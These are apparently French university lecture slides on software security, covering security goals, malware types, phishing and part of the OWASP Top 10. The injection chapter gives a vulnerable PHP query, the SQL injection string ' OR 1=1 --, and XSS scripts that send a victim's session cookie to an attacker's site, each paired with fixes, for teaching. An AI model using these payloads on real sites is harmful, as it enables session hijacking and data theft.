Sécurité logiciel
Pr. Jamila Oukharijane
[Link]@[Link]
Chapitre 1.
Introduction à la sécurité
Jamila Oukharijane Sécurité logiciel 2
1. Les enjeux de la sécurité
Qu'est ce qu’un système d’information ?
Système d’information :
ensemble des ressources destinées à collecter,
classifier, stocker, gérer, diffuser les informations
au sein d’une organisation.
Un des moyens techniques
pour faire fonctionner un système d’information est d’utiliser un
logiciel
Jamila Oukharijane Sécurité logiciel 3
1. Les enjeux de la sécurité
• La sécurité du système d’Information (S.I.) implique la sécurité de
l’ensemble de ses ressources.
Sécurité des
systèmes d’information
Sécurité des
Sécurité juridique
...
logiciels
Sécurité des
Réseaux et échanges
• Les logiciels sont au cœur des systèmes d´information.
La sécurité du S.I. consiste donc à assurer
la sécurité des logiciels
Jamila Oukharijane Sécurité logiciel 4
1. Les enjeux de la sécurité
• La sécurité a pour objectif de réduire les risques pesant sur le
système d’information, pour limiter leurs impacts sur le
fonctionnement et les activités métiers des organisations…
• La gestion de la sécurité au sein d’un système d’information n’a pas
pour objectif de faire de l’obstruction. Au contraire :
– Elle contribue à la qualité de service que les utilisateurs sont en
droit d’attendre
– Elle garantit au personnel le niveau de protection qu’ils sont en droit
d’attendre
Jamila Oukharijane Sécurité logiciel 5
2. Les besoins de sécurité
• Comment définir le niveau de sécurité d’un bien du S.I. ?
Comment évaluer si ce bien est correctement sécurisé ?
• 5 critères sont retenus pour répondre à cette problématique :
1. Confidentialité
2. Intégrité
Bien à
protéger 3. Disponibilité
4. Authentification
5. Non-répudiation
Jamila Oukharijane Sécurité logiciel 6
2. Les besoins de sécurité
1. Confidentialité
Les données accessibles à travers l’application ne doivent l’être
qu’aux seuls utilisateurs autorisés.
La confidentialité concerne les données stockées dans la base
de données de l’application ainsi que les données en cours de
transit sur le réseau (entre serveur web et serveur BD ou entre
serveur web et navigateur).
Plusieurs techniques permettent de s’assurer de la
confidentialité des données: contrôle d’accès, cryptographie.
Jamila Oukharijane Sécurité logiciel 7
2. Les besoins de sécurité
2. Intégrité
Les données gérées par l’application ne doivent être
modifiables que par les utilisateurs habilités à faire cela.
Comme dans le cas de la confidentialité des données,
l’intégrité des données s’applique aux données stockées ainsi
qu’aux données en transit.
Plusieurs techniques permettent de s’assurer de l’intégrité des
données: contrôle d’accès, hachage cryptographique.
Jamila Oukharijane Sécurité logiciel 8
2. Les besoins de sécurité
3. Disponibilité
L’interruption du fonctionnement de l’application, volontaire ou
accidentelle, pendant une période de temps peut avoir des
conséquences financière importantes, des conséquences en
terme d’image...
Ces interruptions doivent être évitées autant que possible et
leur durée réduite au minimum.
Jamila Oukharijane Sécurité logiciel 9
2. Les besoins de sécurité
4. Authentification
Authentifier un utilisateur consiste pouvoir s’assurer de son identité
réelle.
L’authentification peut être réalisée par différents moyens tel que
l’utilisation d’un mot de passe, une information biométrique
(empreinte digitale, iris de l’œil, forme du visage...), une clé
cryptographique privée, un token matériel d’authentification...
Jamila Oukharijane Sécurité logiciel 10
2. Les besoins de sécurité
5. Non-répudiation
La non-répudiation consiste à conserver des preuves fiables sur
l’identité des acteurs ayant effectuer des actions de manière à ce
qu’ils ne puissent pas nier avoir été à l’origine de ces actions.
La non-répudiation permet de données aux transactions
réalisées à travers une application web une validité contractuelle
et légale.
Jamila Oukharijane Sécurité logiciel 11
2. Les besoins de sécurité
Évaluation des besoins de sécurité
Pour évaluer si un bien est correctement sécurisé, il faut
auditer son niveau de Disponibilité, Intégrité,
Confidentialité, Authentification et Non-répudiation.
L’évaluation de ces critères sur une échelle permet de
déterminer si ce bien est correctement sécurisé.
Tous les biens d’un S.I. n’ont pas nécessairement besoin
d’atteindre les mêmes niveaux de besoins de sécurité.
Jamila Oukharijane Sécurité logiciel 12
2. Les besoins de sécurité
Exemple d’évaluation des besoins de sécurité
• Exemple avec un site institutionnel simple (statique) d’une
entreprise qui souhaite promouvoir ses services sur internet :
Disponibilité = Très fort Confidentialité = Faible
Un haut niveau de disponibilité du Un faible niveau de
site web est nécessaire, sans quoi confidentialité suffit. En effet,
l’entreprise ne peut atteindre son les informations contenues
objectif de faire connaître ses dans ce site web sont
services au public publiques par nature!
Intégrité = Très fort Authentification = Faible
Serveur
Un haut niveau d’intégrité des web
Non-répudiation= Faible
informations présentées est
Un faible niveau de non-
nécessaire. En effet, l’entreprise ne
répudiation et d’authentification
souhaiterait pas qu’un concurrent
suffit. En effet, ce site web ne
modifie frauduleusement le contenu
permet aucune interaction avec les
du site web pour y insérer des
utilisateurs, il fournit simplement
informations erronées (ce qui serait
des informations fixes.
dommageable)
Jamila Oukharijane Sécurité logiciel 13
3. Notions de sécurité
Différences entre sûreté et sécurité
« Sûreté » et « Sécurité » ont des significations différentes en fonction du
contexte. L’interprétation de ces expressions peuvent varier en fonction de
la sensibilité de chacun.
Sûreté Sécurité
Protection contre les Protection contre les actions
dysfonctionnements et accidents malveillantes volontaires
involontaires
Exemple de risque : blocage d’un
Exemple de risque : saturation d’un service, modification
point d’accès, panne d’un disque, d’informations, vol d’information
erreur d’exécution, etc.
Non quantifiable statistiquement,
Quantifiable statistiquement (ex. : la mais il est possible d’évaluer en
durée de vie moyenne d’un disque amont le niveau du risque et les
est de X milliers d’heures) impacts
Jamila Oukharijane Sécurité logiciel 14
3. Notions de sécurité
Différences entre sûreté et sécurité
Sûreté : ensemble de mécanismes mis en
place pour assurer la continuité de
fonctionnement du système dans les
conditions requises.
Sécurité : ensemble de mécanismes
destinés à protéger l'information des
utilisateurs ou processus n'ayant pas
l'autorisation de la manipuler et d’assurer
les accès autorisés.
Le périmètre de chacune des 2 notions
n’est pas si clairement délimité dans la
réalité : dans le cas de la voiture
connectée on cherchera la sécurité et la
sûreté.
Jamila Oukharijane Sécurité logiciel 15
3. Notions de sécurité
Définition de la sécurité
La sécurité informatique recouvre l'ensemble de méthodes,
techniques et outils mis en œuvre pour minimiser la vulnérabilité d’un
système contre des menaces intentionnelles et accidentelles.
La sécurité informatique :
protection contre les accidents dus à l’environnement et les défauts de
système.
protection contre des actions malveillantes intentionnelles.
Jamila Oukharijane Sécurité logiciel 16
3. Notions de sécurité
Parmi les notions fondamentales à connaître pour pouvoir appréhender
sécurité:
a. Notion de « Vulnérabilité »
• Faiblesse au niveau d’un bien (au niveau de la conception, de la
réalisation, de l’installation, de la configuration ou de l’utilisation du
bien) qui peut être exploitée pour causer un dommage à
l’application web (menace)..
Vulnérabilités
Jamila Oukharijane Sécurité logiciel 17
3. Notions de sécurité
b. Notion de « Menace »
• Cause potentielle d’un incident, qui pourrait entraîner des
dommages sur un bien si cette menace se concrétisait.
Personnes extérieures malveillantes
Stagiaire
malintentionné
Perte de service
Menaces
Code malveillant
Jamila Oukharijane Sécurité logiciel 18
3. Notions de sécurité
c. Notion d’« Attaque »
• Action malveillante destinée à porter atteinte à la sécurité d’un
bien. Une attaque représente la concrétisation d’une menace, et
nécessite l’exploitation d’une vulnérabilité.
• Une attaque ne peut donc avoir lieu (et réussir) que si le bien est
affecté par une vulnérabilité.
Attaques
Jamila Oukharijane Sécurité logiciel 19
3. Notions de sécurité
c. Notion d’« Attaque »
Erreurs de saisie Virus
Confidentialité Intégrité
Intégrité Disponibilité
Attaques réseau
Accès illégal (intrusion) Rayonnements
Confidentialité (écoute) confidentialité
Intégrité (modification paquets) confidentialité
Intégrité
Disponibilité (saturation) Disponibilité
Jamila Oukharijane Sécurité logiciel 20
3. Notions de sécurité
d. Types d’attaques
Une attaque peut être classée par son comportement de l’attaque ou par la
position de l’attaquant.
Jamila Oukharijane Sécurité logiciel 21
3. Notions de sécurité
d. Types d’attaques
Une attaque peut être :
− Une «attaque active» tente de modifier les ressources du
système ou d'affecter leur fonctionnement. Notez qu’une attaque
active peut être exécutée sans la capacité d’écoute.
− Une «attaque passive» tente d'apprendre ou d'utiliser des
informations du système, mais n'affecte pas les ressources du
système. (e.g., Écoutes téléphoniques). Les attaques passives
sont généralement indétectables, mais une prévention est
possible.
Jamila Oukharijane Sécurité logiciel 22
3. Notions de sécurité
d. Types d’attaques
Une attaque peut être perpétrée de l’intérieur ou de l’extérieur de
l’organisation.
− Une «attaque interne» est une attaque initiée par une entité dans
le périmètre de sécurité, c'est‐à‐dire une entité autorisée à
accéder aux ressources du système mais qui les utilise d'une
manière non approuvée par ceux qui ont accordé l’autorisation.
− Une «attaque externe» est initiée depuis l'extérieur du périmètre,
par un utilisateur non autorisé ou illégitime du système.
Jamila Oukharijane Sécurité logiciel 23
4. Niveaux d’application de la sécurité
Les systèmes informatiques mettent en œuvre différentes composantes,
allant de l’électricité pour alimenter les machines au logiciel exécuté via le
système d’exploitation et utilisant le réseau.
Les attaques peuvent intervenir à chaque maillon de cette chaîne, pour peu
qu’il existe une vulnérabilité exploitable.
Jamila Oukharijane Sécurité logiciel 24
4. Niveaux d’application de la sécurité
1. Niveau matériel
Matériel nécessaire au stockage et à l’exécution de l’application web.
Serveurs (serveur web, serveur d’application, serveur BD)
Postes clients
Équipements réseau (routeurs, hubs, câbles...)
Vulnérabilités:
Stockage dans des locaux inadaptés (facilité d’accès aux
personnes, mauvaise aération, humidité…)
Composants matériels de mauvaise qualité
Alimentation électrique et connexion réseau défaillantes…
Jamila Oukharijane Sécurité logiciel 25
4. Niveaux d’application de la sécurité
2. Niveau système d’exploitation
Les systèmes d’exploitation modernes offrent des mécanismes de
sécurité robustes.
Ils permettent de définir des comptes utilisateurs et de leur attribuer
des privilèges et autorisations sur le système (droit d’administration,
droit de lire ou d’écrire dans un répertoire ou fichier, droit de
démarrer ou d’arrêter un service...).
L’utilisation d’un compte nécessite de passer par un processus
d’authentification de manière à s’assurer de l’identité de l’utilisateur
(identifiant + mot de passe, clé cryptographique privée, données
biométriques...).
Jamila Oukharijane Sécurité logiciel 26
4. Niveaux d’application de la sécurité
2. Niveau système d’exploitation
Vulnérabilités:
Comptes sans mot de passe
Mot de passe trop court, trop simple...
Gestion laxiste des droits d’utilisateur (utilisateurs disposant de plus
de droits que nécessaire)
Négligence dans l’application des mises à jour de sécurité
...
Jamila Oukharijane Sécurité logiciel 27
4. Niveaux d’application de la sécurité
3. Niveau application
La sécurité de l’application web doit être une préoccupation
constante tout au long de son cycle de vie.
Vulnérabilités:
Absence de filtrage des données saisies par l’utilisateur (type,
taille, format...)
Absence de filtrage des fichiers téléchargés vers le serveur (type,
taille, …)
…
Jamila Oukharijane Sécurité logiciel 28
4. Niveaux d’application de la sécurité
4. Niveau réseau
Les applications web étant des applications réparties, les
communications réseau sont nécessaires à leur fonctionnement. La
sécurité sur le réseau consiste essentiellement à sécuriser les
échanges de données et à garantir l’identité des tiers qui participent
à la communication.
Vulnérabilités:
Pas de sécurité native sur Internet.
Facilité d’espionnage sur un réseau local.
Absence d’authentification des tiers.
Jamila Oukharijane Sécurité logiciel 29
Chapitre 2.
Malveillances et attaques
Jamila Oukharijane Sécurité logiciel 30
1. Les logiciels malveillants
Un pirate informatique est une personne qui contourne ou détruit
les protections d’un logiciel, d’un ordinateur ou d’un réseau
informatique dans un but malveillant.
Un logiciel malveillant ou malware est un logiciel développé par un
pirate dans le but de nuire à un système informatique.
Il existe différents types de logiciels malveillants :
− Virus
− Ver
− cheval de Troie
− Bombe logique
− ...
Jamila Oukharijane Sécurité logiciel 31
1. Les logiciels malveillants
Un virus est un logiciel malveillant, généralement de petite taille, qui
se transmet par les réseaux ou les supports d'information amovibles,
s’implante au sein des programmes en les parasitant, se duplique à
l'insu des utilisateurs et produit ses effets dommageables quand le
programme infecté est exécuté ou quand survient un évènement
donné.
On distingue :
− le virus de boot : il est chargé en mémoire au démarrage et
prend le contrôle de l’ordinateur ;
− le virus d’application : il infecte un programme exécutable et se
déclenche à l’exécution de celui-ci ;
− le macro virus : il infecte les documents bureautiques en utilisant
leur langage de programmation.
Jamila Oukharijane Sécurité logiciel 32
1. Les logiciels malveillants
Un ver est un logiciel malveillant indépendant qui se transmet
d’ordinateur à ordinateur par l’internet ou tout autre réseau et
perturbe le fonctionnement des systèmes concernés en s’exécutant à
l'insu des utilisateurs.
Contrairement au virus, le ver ne s’implante pas au sein d’un autre
programme. Il se propage de façon autonome.
Les vers sont souvent conçus pour saturer les ressources
disponibles ou allonger la durée des traitements. Ils peuvent aussi
détruire les données d’un ordinateur, perturber le fonctionnement du
réseau ou transférer frauduleusement des informations.
Un ver peut produire des effets soit immédiatement soit de manière
différée (à une date donnée, lors de la survenue d'un évènement ou
par déclenchement d'une bombe programmée).
Jamila Oukharijane Sécurité logiciel 33
1. Les logiciels malveillants
Un cheval de Troie ou Troyen est un programme malveillant placé
dans un programme sain. Il est programmé pour être installé de
manière invisible par des utilisateurs naïfs, ou des programmes
illicites afin d’avoir un contrôle sur l’ordinateur de la victime
Il peut servir à voler des mots de passe, copier des données
sensibles, créer une brèche volontaire dans la sécurité pour autoriser
des accès à des parties protégées du réseau à des personnes se
connectant de l’extérieur (ouvrir un port).
Jamila Oukharijane Sécurité logiciel 34
1. Les logiciels malveillants
Une Bombe logique est un programme qui se déclenche
automatiquement suite à un événement particulier (date,signal
distant).
Une bombe logique contient une partie de code conditionnelle qui
explosera une fois la condition réalisée (temps, date, action, signal,
…) et non lors de l’installation de la bombe logique.
Jamila Oukharijane Sécurité logiciel 35
2. Malveillance par Messagerie
Les malveillances par messagerie regroupent toutes les menaces
informatiques intentionnelles ciblant les comptes de messageries,
les e-mails ou les échanges de courriers électroniques.
On y distingue principalement trois types :
− les spams,
− les courriels hameçonnage
− les canulars.
Jamila Oukharijane Sécurité logiciel 36
2. Malveillance par Messagerie
Pourriel (spam ou courrier indésirable) est l’envoi massif de
courrier électronique à des destinataires ne l’ayant pas sollicité.
Les spammeurs collectent généralement les adresses
électroniques sur internet (dans les forums, sur les sites internet,
dans les groupes de discussion, …).
Jamila Oukharijane Sécurité logiciel 37
2. Malveillance par Messagerie
Hameçonnage (phishing) est une technique frauduleuse utilisée
par les pirates informatiques pour récupérer des informations
(généralement bancaires) auprès des utilisateurs.
Les utilisateurs reçoivent un courrier électronique semblant
provenir d’une entreprise de confiance, typiquement une banque
ou un site de commerce (copie conforme du site original)
Jamila Oukharijane Sécurité logiciel 38
2. Malveillance par Messagerie
Canular (Hoax) est un courriel électronique propageant de
fausses informations et poussant le destinataire à diffuser la
fausse nouvelle à tous ses proches ou collègues.
En apparence les canulars ne sont nocifs mais ils peuvent avoir
d’autres conséquences telles que la congestion des réseaux, la
diffusion de fausses rumeurs et l’encombrement des boites aux
lettres électroniques avec la diffusion massive de courriels
Jamila Oukharijane Sécurité logiciel 39
Chapitre 3.
Vulnérabilités du web
Jamila Oukharijane Sécurité logiciel 40
Principales failles des application web
La communauté OWASP (Open Web Application Security
Project) est devenue l’une des principales références en
matière de bonnes pratiques de sécurité en ligne.
Son Top 10 des risques de sécurité applicatifs Web les plus
critiques fait aujourd’hui figure de norme de facto dans le
domaine de la sécurité des applications.
Jamila Oukharijane Sécurité logiciel 41
Principales failles des application web
1 Contrôle d’accès défaillant
2 Défaillances cryptographiques
3 Injection
4 Conception non sécurisée
5 Mauvaise configuration de sécurité
6 Composants vulnérables et obsolètes
7 Identification et authentification de mauvaise qualité
8 Manque d’intégrité des données et du logiciel
9 Carence des systèmes de contrôle et de journalisation
10 Falsification de requête côté serveur
Jamila Oukharijane Sécurité logiciel 42
A1. Contrôle d’accès défaillant
Cette attaque vise les fonctionnalités des applications web qui
nécessitent un contrôle d’accès.
Le contrôle des accès permet aux applications web de n’être
accessibles qu’à un cercle limité de personnes, par exemple
pour des utilisateurs authentifié qui ne pourront agir qu’à un
certain niveau d’autorisation.
On parle de contrôle d’accès défaillant lorsque les
limitations prévues ne sont pas mises en œuvre correctement.
Des personnes non autorisées ont alors accès à des données
sensibles, et des pirates peuvent les modifier ou les détruire.
Jamila Oukharijane Sécurité logiciel 43
A1. Contrôle d’accès défaillant
Les failles de sécurité les plus courantes :
Des hackers peuvent avoir accès librement à des rôles et des
fonctions.
Les paramètres et métadonnées peuvent être manipulés.
Des cyberpirates peuvent attribuer des droits en se basant sur
des bugs ou des défauts de conception dans la
programmation
Jamila Oukharijane Sécurité logiciel 44
A1. Contrôle d’accès défaillant
Solutions :
Les utilisateurs ne doivent pas avoir accès à une nouvelle
fonction avant que l’administrateur ne leur accorde
expressément l’accès.
Journalisez et surveillez les échecs de tentative de
connexion ; les admins doivent être alertés en cas
d’anomalies
Si des utilisateurs se déconnectent ou sont inactifs pendant
un long laps de temps, la session doit être automatiquement
invalidée
Supprimez les comptes inactifs
Jamila Oukharijane Sécurité logiciel 45
A2. Défaillances cryptographiques
Cette attaque concerne les failles liés à la protection insuffisante
des données stockées ou échangées via une application.
Les bases de données qui enregistrent les données
personnelles, les données de cartes de crédit, les noms
d’utilisateurs et les mots de passe représentent une cible de
choix pour un pirate.
Si ces données ne sont pas chiffrées, elles ne sont pas
sécurisées et peuvent être récupérées lorsqu’elles sont en transit
par exemple.
Jamila Oukharijane Sécurité logiciel 46
A2. Défaillances cryptographiques
Les failles de sécurité les plus courantes :
Des données sensibles sont sauvegardées ou transférées en
clair.
L’application web utilise des algorithmes et des protocoles de
chiffrement désuets ou faibles
Objectifs de l’attaque
Accéder à des données confidentielles.
Vol d’information
Solution :
Ne stockez pas de données sensibles
L’utilisation de cryptographie peut atténuer ce type d’attaque.
Jamila Oukharijane Sécurité logiciel 47
A2. Défaillances cryptographiques
La cryptographie est un ensemble d e techniques
permettant d’assurer les dimensions d e sécurité par
l’utilisation d e s mé th od es d e chiffrement.
Le chiffrement permet d e transformer le texte clair en un
texte chiffré à l’aide d’un algorithme d e chiffrement et d’une
clé.
Le déchiffrement permet d e transformer le texte chiffré en
texte clair identique à celui d’origine à l’aide d’un algorithme
d e déchiffrement et une clé .
Jamila Oukharijane Sécurité logiciel 48
A2. Défaillances cryptographiques
Les mécanismes de chiffrement sont généralement paramétrés
par des clés.
En pratique, le chiffrement peut être :
Symétrique
Asymétrique
Jamila Oukharijane Sécurité logiciel 49
A2. Défaillances cryptographiques
Chiffrement symétrique est une méthode de chiffrement dans
laquelle la même clé est utilisée pour le chiffrement et le
déchiffrement.
Cette clé est appelée clé secrète et doit rester confidentielle
pour des questions de sécurité.
Jamila Oukharijane Sécurité logiciel 50
A2. Défaillances cryptographiques
Chiffrement asymétrique est une méthode de chiffrement utilisant
deux clés différentes : une clé publique, qui peut être diffusée
publiquement, et une clé privée, qui doit rester confidentielle
La clé publique est utilisée pour chiffrer, et la clé privée pour déchiffrer
le message.
Jamila Oukharijane Sécurité logiciel 51
A3. Injection
Une attaque par injection est une attaque permettant
l’injection de code arbitraire dans l’application.
L’injection se produit quand des données écrites par
l’utilisateur sont envoyées à un interpréteur en tant qu’élément
faisant partie d’une commande ou d’une requête.
En injectant dans les zones de saisie classiques présentées à
l’utilisateur du code malicieux.
Les failles d’injection, permettent aux attaquants de créer, lire,
modifier ou effacer toute donnée arbitraire de l’application.
Jamila Oukharijane Sécurité logiciel 52
A3. Injection
Moyens utilisés
Formulaire de saisie de l’application
Injection de code malicieux dans le code de l’application
Objectif de l’attaque : L’attaque par injection peut viser :
La disponibilité : (charge maximale du serveur de base de
données, modification du mot de passe d’un utilisateur ou de
l’administrateur de l’application web dans un UPDATE) ;
La confidentialité par l’obtention d’informations stockées
dans la base ou l’accès à un intranet sans autorisation ;
L’intégrité des données (modification ou suppression des
données).
Jamila Oukharijane Sécurité logiciel 53
A3. Injection
Principe de l’attaque par injection
[Link] de code malveillant
[Link] de la requête correspondante pour traitement
[Link] étapes suivantes sont fonction de l’attaque employée
4. …
5.
2) Demande de
1) traitement
4) … 3) …
Attaquant Serveur http
Jamila Oukharijane Sécurité logiciel 54
A3. Injection
Parmi les formes les plus fréquentes d’injection, nous citons :
─L’injection SQL est une faille de sécurité permettant à un
utilisateur mal intentionné d’exécuter n’importe quelle
requête SQL sur votre base de données
─Cross Site Scripting, abrégé XSS pour ne pas confondre
avec les feuilles de styles CSS permettant à un utilisateur
mal intentionné d’injecter un code HTML ou JavaScript dans
l’application, ce qui peut entraîner des détournements de
sessions ou des défacements de sites Web.
Jamila Oukharijane Sécurité logiciel 55
A3. Injection SQL
Comportement d’une application vulnérable à l’injection SQL
1. Envoi de la saisie d’un formulaire
2. Envoi de la requête correspondante pour traitement
3. Retour du résultat à la page de script
4. Génération et envoie de la page HTML
SELECT numerocarte FROM comptes
WHERE nom='user4'
1) AND motdepasse=PASSWORD('eng111')
2) Requête SQL
4) HTML + CSS 3) Résultat
Utilisateur Serveur http +- - - - - - - - - - - - -
| numerocarte
Jamila Oukharijane Sécurité12548556
logiciel | 56
A3. Injection SQL
Source de vulnérabilité
1. Le script PHP pour exploiter cette requête de façon dynamique
//récupération des paramètres
2 $nom = $_GET['nom'];
$motdepasse = $_GET['motdepasse'];
//génération de la requête
1 $requeteSQL = "SELECT numerocarte FROM comptes WHERE nom =
'$nom' AND motdepasse = PASSWORD( '$motdepasse' )";
//exécution de la requête
$reponse = mysql_query($requeteSQL);
$resultat = mysql_fetch_assoc($reponse);
//affichage du résultat
echo $resultat['numerocarte'];
Jamila Oukharijane Sécurité logiciel 57
A3. Injection SQL
Vol d’information par injection SQL
En remplissant le formulaire avec la valeur « ’ OR 1=1 -- ’ » pour le
champ « nom » et n’importe quelle valeur pour le mot de passe, la
requête qui sera envoyée à la base de données devient :
SELECT numerocarte FROM comptes
WHERE nom='' OR 1=1 -- ' '
AND motdepasse=PASSWORD('eng111')
1) 2) Requête SQL
4) HTML + CSS 3) Résultat
Attaquant Serveur http numerorocarte
987654321
Ainsi la condition 1=1 est toujours vérifiée et le reste de la commande
est mis en commentaire grâce à la chaîne de caractères « -- ». Cela
permet donc de récupérer aléatoirement un numéro de carte.
Jamila Oukharijane Sécurité logiciel 58
A3. Injection SQL
Solutions
[Link] des requêtes paramétrées
[Link] pas autoriser les caractères spéciaux
//récupération des paramètres
2 $nom = htmlspecialchars($_GET['nom'],ENT_QUOTES);
$motdepasse = htmlspecialchars($_GET['motdepasse'] ,ENT_QUOTES);
//préparation de la requête
1 $stmt = $mysqli->prepare("SELECT numerocarte FROM comptes WHERE
nom = ? AND motdepasse = PASSWORD( ? )");
$stmt->bind_param("ss", $nom, $motdepasse);
//exécution de la requête
$stmt->execute();
$stmt->bind_result($resultat);
$stmt->fetch();
//affichage du résultat
echo $resultat;
Jamila Oukharijane Sécurité logiciel 59
A3. Injection : Cross-Site Scripting (XSS)
À la différence des injections SQL, XSS permet à un attaquant
d’exécuter des scripts dans le navigateur Web de la victime, ce qui
peut entraîner des détournements de sessions ou des défacements
de sites Web.
L’attaquant peut par exemple rediriger l’utilisateur vers des sites Web
malveillants.
Les failles de type XSS se déclinent en deux principales catégories :
XSS par réflexion
XSS Stockée
Jamila Oukharijane Sécurité logiciel 60
A3. Injection : Cross-Site Scripting (XSS)
XSS par réflexion : Ce type de faille cible une seule victime à un
instant donné. Le contenu malveillant n’est pas stocké sur le serveur
Web mais livré à la victime via un lien malveillant
Jamila Oukharijane Sécurité logiciel 61
A3. Injection : Cross-Site Scripting (XSS)
XSS Stockée : Ce type de faille va impacter tous les utilisateurs qui
vont visiter la page infectée. Dans ce type de faille, l’attaquant va
envoyer un contenu malveillant à une application Web, qui va le
stocker dans la base de données associée au site Web.
Jamila Oukharijane Sécurité logiciel 62
A3. Injection : Cross-Site Scripting (XSS)
Objectifs de l’attaque XSS : Cette faille exploite la confiance qu’un
utilisateur a dans un site web. Le code malveillant est exécuté dans le
navigateur de l’internaute pour :
Voler des informations aux visiteurs (cookies, sessions ...) :
Ex:
<script>[Link]('[Link]
?val='+[Link]");</script>
Afficher un contenu souhaité par le hacker (message, pubs ...) ;
<script>[Link]('ma pub')</script>
Rediriger vers une page de même apparence :
<script language="javascript">[Link]="[Link]
du_x005F_x0002_hacker.com/"</script>
Jamila Oukharijane Sécurité logiciel 63
A3. Injection : Cross-Site Scripting (XSS)
Exemple de scénario d’attaque :
L’application utilise des données non fiables dans la construction du
fragment HTML sans l’avoir validée ou échappée au préalable :
(String) page += "<input name='creditcard' type='TEXT‘ value='" +
[Link]("CC") + "'>";
L’attaquant modifie le paramètre ‘CC’ dans leur navigateur pour:
'><script>[Link]='[Link]
[Link]? foo='+[Link]</script>'.
Cela provoque l'envoi de l'ID de session de la victime au site web de
l'attaquant, permettant à l'attaquant de détourner la session en cours
de l'utilisateur.
Jamila Oukharijane Sécurité logiciel 64
A3. Injection : Cross-Site Scripting (XSS)
Solutions
1. Encodage des données : consiste à utiliser des fonctions permettant de filtrer des
symboles suspects en les remplaçant par leur équivalent HTML. Prenons l’exemple de la
fonction htmlspecialchars en PHP. Avec cette fonction, les modifications suivantes sont
réalisées : Le caractère " devient " et le caractère ‘ devient '.
<?php
$recherche = htmlspecialchars($_GET['recherche'],ENT_QUOTES);
echo $recherche;
?>
2. Rendre les cookies utilisables uniquement par l’application
Pour éviter le vol de cookies par du code JavaScript, il est possible de positionner
l'attribut de cookie HTTPOnly.
<?php session.cookie_httponly = True ?>
Jamila Oukharijane Sécurité logiciel 65
A4. Conception non sécurisé
Cette attaque concerne les défauts de conception et
d’architecture des applications.
Si vous voulez fournir une application sécurisée, vous avez
besoin de modèles de menaces, de principes de
conception sécurisés et d’architectures de référence.
De plus, les développeurs doivent savoir comment les
concepts de conception et d'architecture doivent être
configurés et implémentés correctement dans le code. La
mise en œuvre incorrecte des concepts de conception et
d'architecture dans le code peut créer des failles de sécurité.
Jamila Oukharijane Sécurité logiciel 66
A4. Conception non sécurisé
Solutions :
Mettre en place et utiliser un cycle de vie de développement
sécurisé avec des professionnels de la sécurité applicative
pour aider à évaluer et à concevoir des contrôles liés à la
sécurité et à la confidentialité .
Mettre en place des tests unitaires et d’intégration
automatisés : une couverture de code complète, avec des
tests automatisés, permettent de réduire les risques.
Jamila Oukharijane Sécurité logiciel 67
A4. Conception non sécurisé
Solutions :
Gérer granulairement des ressources : lors des phases de
récupération des besoins métier, il est important de bien
recueillir et évaluer les exigences techniques et fonctionnelles,
dont la confidentialité des données de l’application.
Séparer les couches systèmes et réseau de l’application : en
divisant le déploiement en sous-systèmes modulaires.
Restreindre le niveau d'accès à des données et des
ressources spécifiques par utilisateur.
Jamila Oukharijane Sécurité logiciel 68
A5. Mauvaise configuration de sécurité
Les contrôles de sécurité qui ne sont pas configurés
correctement sont également problématiques.
Les failles les plus courantes :
Des fonctionnalités inutiles sont activées ou installées (ex :
des ports, des services, des pages, des comptes ou des
privilèges inutiles) ;
Les mots de passe par défaut ne sont pas modifiés ;
Des autorisations mal configurées
Le serveur n'envoie pas de directives de sécurité, ou s'ils ne
sont pas paramétrés avec des valeurs correctes du point de
vue de la sécurité ;
La version du logiciel n’est pas à jour.
Jamila Oukharijane Sécurité logiciel 69
A5. Mauvaise configuration de sécurité
Objectif de l’attaque
Déni de service
Prise de contrôle du système
Solutions
1. Désactiver les options inutiles
2. Mettre à jour les composants
3. Supprimer ou désactiver les comptes par défaut
Jamila Oukharijane Sécurité logiciel 70
A6. Composants vulnérables et obsolètes
Même si votre application est sécurisée, vous devez vous
assurer que le framework, les bibliothèques, les appels API et
la plateforme que vous utilisez ne sont pas vulnérables.
Lorsqu’une nouvelle vulnérabilité est découverte, un correctif
est généralement proposé. Il faudra alors l’appliquer pour
garantir la sécurité de l’application.
Jamila Oukharijane Sécurité logiciel 71
A6. Composants vulnérables et obsolètes
Les failles les plus courantes :
Les versions et les composants côté client et côté serveur ne
sont pas connus ;
Des logiciels vulnérables, qui ne sont plus supportés ou
obsolètes, sont encore utilisés ;
Il n’y a pas de tests de compatibilité ;
Les configurations des composants ne sont pas sécurisées.
Jamila Oukharijane Sécurité logiciel 72
A6. Composants vulnérables et obsolètes
Solutions :
Supprimez les dépendances, fonctionnalités, composants,
fichiers et documentations inutiles ;
Faites régulièrement l’inventaire des versions des composants
client et serveur ainsi que de leurs dépendances. L’OWASP
propose pour cela un outil adapté : le Dependency Check ;
N’utilisez que des sources officielles et des liens sûrs
Faites particulièrement attention aux bibliothèques et aux
composants dont la maintenance n’est pas assurée et pour
lesquels il n’y a plus de patchs de sécurité.
Jamila Oukharijane Sécurité logiciel 73
A7. Échecs d'identification et d'authentification
Beaucoup d’applications exigent qu’un utilisateur se connecte
pour arriver sur des pages auxquelles lui seul a accès.
L’application est vulnérable à une attaque si un utilisateur
malveillant peut obtenir un accès non autorisé aux mots de
passe et clés pour pirater la session d’un autre utilisateur
Lors du développement d’une application, le codage des
fonctions liées à l’authentification et à la gestion des sessions
peuvent être incorrectement implémentées, permettant ainsi à
des attaquants de compromettre des mots de passe et des
identifiants de session.
Jamila Oukharijane Sécurité logiciel 74
A7. Échecs d'identification et d'authentification
Les failles les plus courantes :
Des mots de passe faibles ou trop courants sont acceptés lors
de l’enregistrement
Les mots de passe sont stockés en clair ou faiblement chiffrés
Les sessions d’utilisateurs ne sont pas invalidées correctement
en cas d’inactivité ou de déconnexion de l’utilisateur
Les identifiants de session sont aperçu dans l’URL
Jamila Oukharijane Sécurité logiciel 75
A7. Échecs d'identification et d'authentification
Les attaques pour anticiper une identité peuvent être regroupées en
deux catégories :
1. Attaque contre le système
2. Vol de session
d’authentification : Violation
de gestion d'authentification
Jamila Oukharijane Sécurité logiciel 76
A7. Échecs d'identification et d'authentification
Objectifs de l’attaque :
Accéder à des fonctionnalités réservées à certaines
personnes.
Accéder à des données confidentielles.
Vol d’information
Corruption de données
Jamila Oukharijane Sécurité logiciel 77
A7. Échecs d'identification et d'authentification
Attaque contre le système d’authentification
Solutions
1. Utilisation de :
─Mots de passe forts
─Message d’erreur générique
─Verrouillage de compte après 5 erreurs consécutives
─Captcha
2. Supprimer ou désactiver les comptes par défaut
3. Système de création de comptes par soi-même
4. Ne pas autoriser les identifiants proches
5. Générer l’identifiant de connexion
